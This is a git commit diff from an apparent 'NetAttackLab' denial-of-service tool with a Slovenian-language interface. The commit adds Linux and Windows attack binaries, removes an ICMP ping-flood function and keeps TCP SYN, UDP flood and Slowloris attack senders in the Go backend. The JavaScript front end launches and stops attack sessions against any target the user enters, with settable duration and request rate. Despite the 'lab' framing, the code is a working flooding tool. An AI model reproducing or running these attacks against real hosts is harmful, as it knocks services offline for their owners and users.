Buncha fixes and binaries
This commit is contained in:
parent
0d0f1abbee
commit
0a52407117
10 changed files with 160 additions and 41 deletions
BIN
ping_of_death/dist/netattack-linux
vendored
Executable file
BIN
ping_of_death/dist/netattack-linux
vendored
Executable file
Binary file not shown.
Binary file not shown.
BIN
ping_of_death/dist/netattack-windows.exe
vendored
BIN
ping_of_death/dist/netattack-windows.exe
vendored
Binary file not shown.
|
|
@ -260,12 +260,6 @@ func runAttack(ctx context.Context, session *AttackSession) {
|
|||
case <-ticker.C:
|
||||
go func() {
|
||||
switch session.Type {
|
||||
case "ping_flood":
|
||||
if err := sendPing(session.Target); err == nil {
|
||||
atomic.AddInt32(&session.Success, 1)
|
||||
} else {
|
||||
atomic.AddInt32(&session.Failed, 1)
|
||||
}
|
||||
case "tcp_syn":
|
||||
if err := sendTCPSyn(session.Target); err == nil {
|
||||
atomic.AddInt32(&session.Success, 1)
|
||||
|
|
@ -290,18 +284,6 @@ func runAttack(ctx context.Context, session *AttackSession) {
|
|||
}
|
||||
}
|
||||
|
||||
func sendPing(target string) error {
|
||||
conn, err := net.Dial("ip4:icmp", target)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// Simple ICMP echo request simulation
|
||||
_, err = conn.Write([]byte{8, 0, 0, 0, 0, 1, 0, 1})
|
||||
return err
|
||||
}
|
||||
|
||||
func sendTCPSyn(target string) error {
|
||||
conn, err := net.DialTimeout("tcp", target+":80", 1*time.Second)
|
||||
if err != nil {
|
||||
|
|
@ -344,12 +326,10 @@ func sendSlowloris(target string) error {
|
|||
|
||||
// Send additional headers slowly to keep connection alive
|
||||
for i := 0; i < 6; i++ { // Keep alive for 60 seconds
|
||||
select {
|
||||
case <-ticker.C:
|
||||
_, err := conn.Write([]byte(fmt.Sprintf("X-Custom-Header-%d: value\r\n", i)))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
<-ticker.C
|
||||
_, err := conn.Write([]byte(fmt.Sprintf("X-Custom-Header-%d: value\r\n", i)))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
// Finally close the request
|
||||
|
|
|
|||
|
|
@ -3,6 +3,7 @@
|
|||
class NetAttackLab {
|
||||
constructor() {
|
||||
this.activeAttacks = new Map();
|
||||
this.progressIntervals = new Map();
|
||||
this.sessionUpdateInterval = null;
|
||||
this.init();
|
||||
}
|
||||
|
|
@ -248,8 +249,8 @@ class NetAttackLab {
|
|||
stopBtn.disabled = false;
|
||||
|
||||
// Add attack start log
|
||||
this.addLog('attack-logs', `🔥 Initiating ${type} attack on ${target}`, 'warning');
|
||||
this.addLog('attack-logs', `⚙️ Parameters: ${duration}s duration, ${intensity} req/sec`, 'info');
|
||||
this.addLog('attack-logs', `🔥 Začetek ${type} napada na ${target}`, 'warning');
|
||||
this.addLog('attack-logs', `⚙️ Parametri: ${duration}s trajanje, ${intensity} req/sec`, 'info');
|
||||
|
||||
const result = await this.makeRequest('/api/attack', {
|
||||
target,
|
||||
|
|
@ -259,11 +260,11 @@ class NetAttackLab {
|
|||
});
|
||||
|
||||
if (result.error) {
|
||||
this.addLog('attack-logs', `❌ Attack failed to start: ${result.error}`, 'error');
|
||||
this.addLog('attack-logs', `❌ Napad ni uspel: ${result.error}`, 'error');
|
||||
attackBtn.disabled = false;
|
||||
stopBtn.disabled = true;
|
||||
} else {
|
||||
this.addLog('attack-logs', `✅ Attack session ${result.sessionId} started`, 'success');
|
||||
this.addLog('attack-logs', `✅ Napadna seja ${result.sessionId} je začela`, 'success');
|
||||
this.activeAttacks.set(result.sessionId, {
|
||||
target,
|
||||
type,
|
||||
|
|
@ -278,6 +279,13 @@ class NetAttackLab {
|
|||
trackAttackProgress(sessionId, duration) {
|
||||
let elapsed = 0;
|
||||
const progressInterval = setInterval(() => {
|
||||
// Check if attack was stopped
|
||||
if (!this.activeAttacks.has(sessionId)) {
|
||||
clearInterval(progressInterval);
|
||||
this.progressIntervals.delete(sessionId);
|
||||
return;
|
||||
}
|
||||
|
||||
elapsed++;
|
||||
const remaining = duration - elapsed;
|
||||
|
||||
|
|
@ -286,6 +294,7 @@ class NetAttackLab {
|
|||
} else {
|
||||
this.addLog('attack-logs', `🏁 Attack session ${sessionId} completed`, 'success');
|
||||
clearInterval(progressInterval);
|
||||
this.progressIntervals.delete(sessionId);
|
||||
|
||||
// Re-enable attack button
|
||||
document.getElementById('attack-btn').disabled = false;
|
||||
|
|
@ -296,21 +305,31 @@ class NetAttackLab {
|
|||
this.activeAttacks.delete(sessionId);
|
||||
}
|
||||
}, 1000);
|
||||
|
||||
// Store interval ID
|
||||
this.progressIntervals.set(sessionId, progressInterval);
|
||||
}
|
||||
|
||||
async stopAllAttacks() {
|
||||
this.addLog('attack-logs', '🛑 Emergency stop initiated...', 'warning');
|
||||
this.addLog('attack-logs', '🛑 Nujna ustavitev v teku...', 'warning');
|
||||
|
||||
for (const sessionId of this.activeAttacks.keys()) {
|
||||
await this.makeRequest('/api/stop', { sessionId });
|
||||
this.addLog('attack-logs', `🛑 Session ${sessionId} stopped`, 'info');
|
||||
|
||||
// Clear progress interval
|
||||
const interval = this.progressIntervals.get(sessionId);
|
||||
if (interval) {
|
||||
clearInterval(interval);
|
||||
this.progressIntervals.delete(sessionId);
|
||||
}
|
||||
}
|
||||
|
||||
this.activeAttacks.clear();
|
||||
document.getElementById('attack-btn').disabled = false;
|
||||
document.getElementById('stop-btn').disabled = true;
|
||||
|
||||
this.addLog('attack-logs', '✅ All attacks stopped', 'success');
|
||||
this.addLog('attack-logs', '✅ Vsi napadi prekinjeni', 'success');
|
||||
}
|
||||
|
||||
// Session Monitoring
|
||||
|
|
@ -386,6 +405,15 @@ class NetAttackLab {
|
|||
async stopSession(sessionId) {
|
||||
await this.makeRequest('/api/stop', { sessionId });
|
||||
this.addLog('attack-logs', `🛑 Session ${sessionId} stopped manually`, 'warning');
|
||||
|
||||
// Clear progress interval
|
||||
const interval = this.progressIntervals.get(sessionId);
|
||||
if (interval) {
|
||||
clearInterval(interval);
|
||||
this.progressIntervals.delete(sessionId);
|
||||
}
|
||||
|
||||
this.activeAttacks.delete(sessionId);
|
||||
this.updateSessionsTable();
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -92,7 +92,6 @@
|
|||
<div class="input-group">
|
||||
<label>Tip Napada:</label>
|
||||
<select id="attack-type">
|
||||
<option value="ping_flood">ICMP Echo Poplava</option>
|
||||
<option value="tcp_syn">TCP SYN Poplava</option>
|
||||
<option value="udp_flood">UDP Paketna Poplava</option>
|
||||
<option value="slowloris">Slowloris (Počasne Povezave)</option>
|
||||
|
|
@ -202,9 +201,6 @@
|
|||
<div class="info-section">
|
||||
<h3>Razlaga Tipov Napadov</h3>
|
||||
<div class="attack-explanation">
|
||||
<h4>ICMP Echo Poplava (Ping Poplava)</h4>
|
||||
<p>Pošilja hitre ICMP echo zahteve, da preobremeni zmožnost cilja za odziv. Lahko porabi pasovno širino in procesno moč.</p>
|
||||
|
||||
<h4>TCP SYN Poplava</h4>
|
||||
<p>Izkorišča TCP handshake proces s pošiljanjem SYN paketov brez dokončanja povezave, kar lahko izčrpa vire povezav.</p>
|
||||
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue